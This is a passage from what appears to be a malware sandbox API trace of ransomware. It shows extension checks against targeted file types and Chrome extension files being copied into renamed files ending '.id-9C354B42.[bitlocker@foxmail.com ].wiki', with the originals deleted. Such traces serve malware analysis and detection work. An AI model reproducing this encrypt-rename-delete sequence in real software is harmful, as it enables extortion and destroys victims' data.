Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.652] lstrlenW (lpString=".doc") returned 4 [0172.652] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0172.653] lstrlenW (lpString=".docx") returned 5 [0172.653] lstrcmpiW (lpString1=".docx", lpString2="6.png") returned -1 [0172.653] lstrlenW (lpString=".pdf") returned 4 [0172.653] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0172.653] lstrlenW (lpString=".xls") returned 4 [0172.653] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0172.653] lstrlenW (lpString=".xlsx") returned 5 [0172.653] lstrcmpiW (lpString1=".xlsx", lpString2="6.png") returned -1 [0172.653] lstrlenW (lpString=".ppt") returned 4 [0172.653] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0172.653] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.653] lstrlenW (lpString=".zip") returned 4 [0172.653] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0172.653] lstrlenW (lpString=".rar") returned 4 [0172.653] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0172.653] lstrlenW (lpString=".bz2") returned 4 [0172.653] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0172.653] lstrlenW (lpString=".7z") returned 3 [0172.653] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0172.653] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.653] lstrlenW (lpString=".dbf") returned 4 [0172.653] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0172.653] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.653] lstrlenW (lpString=".1cd") returned 4 [0172.653] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0172.653] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.653] lstrlenW (lpString=".jpg") returned 4 [0172.653] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0172.653] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.654] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.654] lstrlenW (lpString=".doc") returned 4 [0172.654] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0172.654] lstrlenW (lpString=".docx") returned 5 [0172.654] lstrcmpiW (lpString1=".docx", lpString2="6.png") returned -1 [0172.654] lstrlenW (lpString=".pdf") returned 4 [0172.654] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0172.654] lstrlenW (lpString=".xls") returned 4 [0172.654] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0172.654] lstrlenW (lpString=".xlsx") returned 5 [0172.654] lstrcmpiW (lpString1=".xlsx", lpString2="6.png") returned -1 [0172.654] lstrlenW (lpString=".ppt") returned 4 [0172.654] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0172.654] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.654] lstrlenW (lpString=".zip") returned 4 [0172.654] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0172.654] lstrlenW (lpString=".rar") returned 4 [0172.654] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0172.654] lstrlenW (lpString=".bz2") returned 4 [0172.654] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0172.654] lstrlenW (lpString=".7z") returned 3 [0172.654] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0172.654] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.654] lstrlenW (lpString=".dbf") returned 4 [0172.654] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0172.654] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.654] lstrlenW (lpString=".1cd") returned 4 [0172.654] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0172.654] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.654] lstrlenW (lpString=".jpg") returned 4 [0172.654] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0172.655] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0172.655] lstrlenW (lpString="main.html") returned 9 [0172.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.655] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=92) returned 1 [0172.655] CloseHandle (hObject=0x1a0) returned 1 [0172.655] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html")) returned 0x2020 [0172.655] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.655] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.655] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.656] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.656] GetLastError () returned 0x0 [0172.656] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x5c, lpOverlapped=0x0) returned 1 [0172.657] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x60, lpOverlapped=0x0) returned 1 [0172.658] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.658] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0172.658] SetEndOfFile (hFile=0x19c) returned 1 [0172.658] CloseHandle (hObject=0x19c) returned 1 [0172.658] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.658] SetEndOfFile (hFile=0x1a0) returned 1 [0172.659] CloseHandle (hObject=0x1a0) returned 1 [0172.659] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.659] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html")) returned 1 [0172.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.660] lstrlenW (lpString=".doc") returned 4 [0172.660] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0172.660] lstrlenW (lpString=".docx") returned 5 [0172.660] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0172.660] lstrlenW (lpString=".pdf") returned 4 [0172.660] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0172.660] lstrlenW (lpString=".xls") returned 4 [0172.660] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0172.660] lstrlenW (lpString=".xlsx") returned 5 [0172.660] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0172.660] lstrlenW (lpString=".ppt") returned 4 [0172.660] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0172.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.660] lstrlenW (lpString=".zip") returned 4 [0172.660] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0172.660] lstrlenW (lpString=".rar") returned 4 [0172.660] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0172.660] lstrlenW (lpString=".bz2") returned 4 [0172.660] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0172.660] lstrlenW (lpString=".7z") returned 3 [0172.660] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0172.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.660] lstrlenW (lpString=".dbf") returned 4 [0172.660] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0172.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.660] lstrlenW (lpString=".1cd") returned 4 [0172.660] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0172.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.661] lstrlenW (lpString=".jpg") returned 4 [0172.661] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0172.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.661] lstrlenW (lpString=".doc") returned 4 [0172.661] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0172.661] lstrlenW (lpString=".docx") returned 5 [0172.661] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0172.661] lstrlenW (lpString=".pdf") returned 4 [0172.661] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0172.661] lstrlenW (lpString=".xls") returned 4 [0172.661] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0172.661] lstrlenW (lpString=".xlsx") returned 5 [0172.661] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0172.661] lstrlenW (lpString=".ppt") returned 4 [0172.661] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0172.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.661] lstrlenW (lpString=".zip") returned 4 [0172.661] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0172.661] lstrlenW (lpString=".rar") returned 4 [0172.661] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0172.661] lstrlenW (lpString=".bz2") returned 4 [0172.661] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0172.661] lstrlenW (lpString=".7z") returned 3 [0172.661] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0172.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.661] lstrlenW (lpString=".dbf") returned 4 [0172.662] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0172.662] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.662] lstrlenW (lpString=".1cd") returned 4 [0172.662] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0172.662] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 135 [0172.662] lstrlenW (lpString=".jpg") returned 4 [0172.662] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0172.662] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0172.662] lstrlenW (lpString="main.js") returned 7 [0172.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.662] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=91) returned 1 [0172.662] CloseHandle (hObject=0x1a0) returned 1 [0172.662] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js")) returned 0x2020 [0172.663] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.663] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.663] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.663] GetLastError () returned 0x0 [0172.663] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x5b, lpOverlapped=0x0) returned 1 [0172.665] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x60, lpOverlapped=0x0) returned 1 [0172.666] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.666] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0172.666] SetEndOfFile (hFile=0x19c) returned 1 [0172.666] CloseHandle (hObject=0x19c) returned 1 [0172.667] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.667] SetEndOfFile (hFile=0x1a0) returned 1 [0172.667] CloseHandle (hObject=0x1a0) returned 1 [0172.667] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.668] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js")) returned 1 [0172.668] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.668] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.668] lstrlenW (lpString=".doc") returned 4 [0172.668] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0172.668] lstrlenW (lpString=".docx") returned 5 [0172.668] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0172.668] lstrlenW (lpString=".pdf") returned 4 [0172.668] lstrcmpiW (lpString1=".pdf", lpString2="n.js") returned -1 [0172.668] lstrlenW (lpString=".xls") returned 4 [0172.668] lstrcmpiW (lpString1=".xls", lpString2="n.js") returned -1 [0172.668] lstrlenW (lpString=".xlsx") returned 5 [0172.668] lstrcmpiW (lpString1=".xlsx", lpString2="in.js") returned -1 [0172.668] lstrlenW (lpString=".ppt") returned 4 [0172.668] lstrcmpiW (lpString1=".ppt", lpString2="n.js") returned -1 [0172.668] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.668] lstrlenW (lpString=".zip") returned 4 [0172.668] lstrcmpiW (lpString1=".zip", lpString2="n.js") returned -1 [0172.668] lstrlenW (lpString=".rar") returned 4 [0172.668] lstrcmpiW (lpString1=".rar", lpString2="n.js") returned -1 [0172.668] lstrlenW (lpString=".bz2") returned 4 [0172.668] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0172.668] lstrlenW (lpString=".7z") returned 3 [0172.669] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0172.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.669] lstrlenW (lpString=".dbf") returned 4 [0172.669] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0172.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.669] lstrlenW (lpString=".1cd") returned 4 [0172.669] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0172.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.669] lstrlenW (lpString=".jpg") returned 4 [0172.669] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0172.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.669] lstrlenW (lpString=".doc") returned 4 [0172.669] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0172.669] lstrlenW (lpString=".docx") returned 5 [0172.669] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0172.669] lstrlenW (lpString=".pdf") returned 4 [0172.669] lstrcmpiW (lpString1=".pdf", lpString2="n.js") returned -1 [0172.669] lstrlenW (lpString=".xls") returned 4 [0172.669] lstrcmpiW (lpString1=".xls", lpString2="n.js") returned -1 [0172.669] lstrlenW (lpString=".xlsx") returned 5 [0172.669] lstrcmpiW (lpString1=".xlsx", lpString2="in.js") returned -1 [0172.669] lstrlenW (lpString=".ppt") returned 4 [0172.669] lstrcmpiW (lpString1=".ppt", lpString2="n.js") returned -1 [0172.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.669] lstrlenW (lpString=".zip") returned 4 [0172.825] lstrcmpiW (lpString1=".zip", lpString2="n.js") returned -1 [0172.825] lstrlenW (lpString=".rar") returned 4 [0172.825] lstrcmpiW (lpString1=".rar", lpString2="n.js") returned -1 [0172.825] lstrlenW (lpString=".bz2") returned 4 [0172.825] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0172.825] lstrlenW (lpString=".7z") returned 3 [0172.825] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0172.825] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.825] lstrlenW (lpString=".dbf") returned 4 [0172.825] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0172.825] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.825] lstrlenW (lpString=".1cd") returned 4 [0172.825] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0172.825] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 133 [0172.825] lstrlenW (lpString=".jpg") returned 